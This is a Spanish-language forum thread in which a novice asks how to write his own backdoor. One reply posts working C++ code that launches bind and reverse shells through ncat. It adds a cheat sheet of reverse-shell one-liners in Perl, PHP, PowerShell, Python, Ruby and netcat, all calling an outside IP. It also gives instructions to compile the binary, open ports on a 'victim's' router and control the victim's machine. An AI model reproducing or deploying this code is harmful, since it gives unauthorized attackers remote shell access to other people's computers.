Nesesito crear un backdoor, pero no quiero uno de esos que descargas de paginas y que ya bienen hechos.
Lo que quiero es que me escriban que nesesito para crear este backdoor, por ejemplo si tengo que aprender un lenguaje de programacion en especial o como es la estructura del backdoor.
Espero que me respondan
Gracias de antemano
No se como ayudarte, yo también doy noob en esto, pero quiero felicitarte por querer hacerlo tu solo y rechazar el programa ya hecho
Para crear cualquier cosa en esta vida se necesitan basicamente tres cosas:
1- Recursos
2- Herramientas
3- Conocimiento
En este caso por lo que preguntas no es la excepcion y vas a necesitar lo antes mencionado:
1- Recursos: Un PC
2- Herramientas: Un backdoor es como cualquier otro software, que puede ser escrito en cualquier lenguaje de programacion, desde lenguajes de "alto nivel", "bajo nivel", "scripting", etc. Para ello primero necesitas seleccionar un lenguage, el que mas te guste y luego seleccionas la herramienta correcta, por ejemplo para Java tienes Eclipse/Netbeans/InteliJ, para C/C++ tienes Visual Studio/DevC++/Qt Creator, para Pascal tienes Borland Delphi, para VB6 tienes Visual Studio 6, para C#/.NET tienes Visual Studio, etc, etc, etc
3- Conocimiento: Necesitas tener conocimientos del lenguaje en el que piensas hacer tu "creacion", ademas de los conocimientos adicionales de la "creacion" en si misma. Para esto google/youtube te tiene las mejores respuestas, por ponerte dos ejemplos:
http://lmgtfy.es/?q=programar+backdoor+c%2B%2B
http://lmgtfy.es/?q=curso+c%2B%2B
http://lmgtfy.es/?q=programar+backdoor+c%23
http://lmgtfy.es/?q=curso+c%23
Suerte
No necesitas un PC. Puedes hacerlo en Android sin problemas.
Te dejo un backdoor super sencillo que hice hoy. Voy a ampliarlo y mejorarlo. Lo hice en Android con termux, vim y g++.
#include <iostream>
#include <string>
using namespace std;
#define PUERTO static_cast<string>("9090")
#define IP static_cast<string>("127.0.0.1")
#define REVERSE_IP static_cast<string>("93.184.216.34")
void BindShell(string);
int main() {
string comando = "";
#ifdef __linux__
/* Shell Local */
BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
/* Remote Shell */
BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
#else /* Windows */
/* Shell Local */
BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
/* Remote Shell */
BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
#endif
return 0;
}
void BindShell(string command) {
system(command.c_str());
}
Ahí tienes algunos comandos. Puedes implementarla 100% en C++ u otro lenguaje en lugar de tener dependencias.
También te dejo otras shells en otros lenguajes por si los necesitas:
perl -e 'use SOCKET;$i="93.184.216.34";p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("93.184.216.34",9090);exec("/bin/sh -i <&3 >&3 2>&3");'
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("93.184.216.34"),9090);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535 | %{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};client.Close()
python -c 'import socket,subprocess,os,s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("93.184.216.34",9090));os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("93.184.216.34",9090).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 93.184.216.34 9090
xterm -display 93.184.216.34:9090
...
Para compilar con C++ usa g++
Para hacer cross compile, por ejemplo de linux a windows (generar un .exe en linux) te hace falta mingw.
Los comandos que necesitas es algo tipo:
vim codigoBackdoor.cpp
Dentro metes el código.
La tecla i te permite escribir.
Sales del modo escritura con escape.
Sales y guardas con :wq
Después compilas con g++ codigoBackdoor.cpp -o elVirus
Le das permisos de ejecución si los necesitas con chmod +775 elVirus
Ejecuta con ./elVirus
En caso de una shell normal necesitas abrir puertos en el router de la víctima. Yo te puse el puerto 9090 en los ejemplos. Debes abrir ese apuntando a la ip local de la máquina víctima desde el panel del router.
En caso de una shell remota abres los puertos de tu equipo para recibir la conexión.
Puedes usar netcat tanto para conectarte a la víctima:
netcat ipVictima puerto
O netcat para escuchar a la víctima y controlarla.
netcat -l -k ipVictima puerto
Una vez se establece la conexión solo tienes que escribir los comandos.
Cita de: @XSStringManolo en 31 Marzo 2020, 22:04 PM
No necesitas un PC. Puedes hacerlo en Android sin problemas.
Claro y a falta de pan, buenas son tortas. Vamos que para alguien que no tiene ni idea de lo que es un backdoor o un lenguaje de programacion no se la pones muy facil que digamos, en fin.
Suerte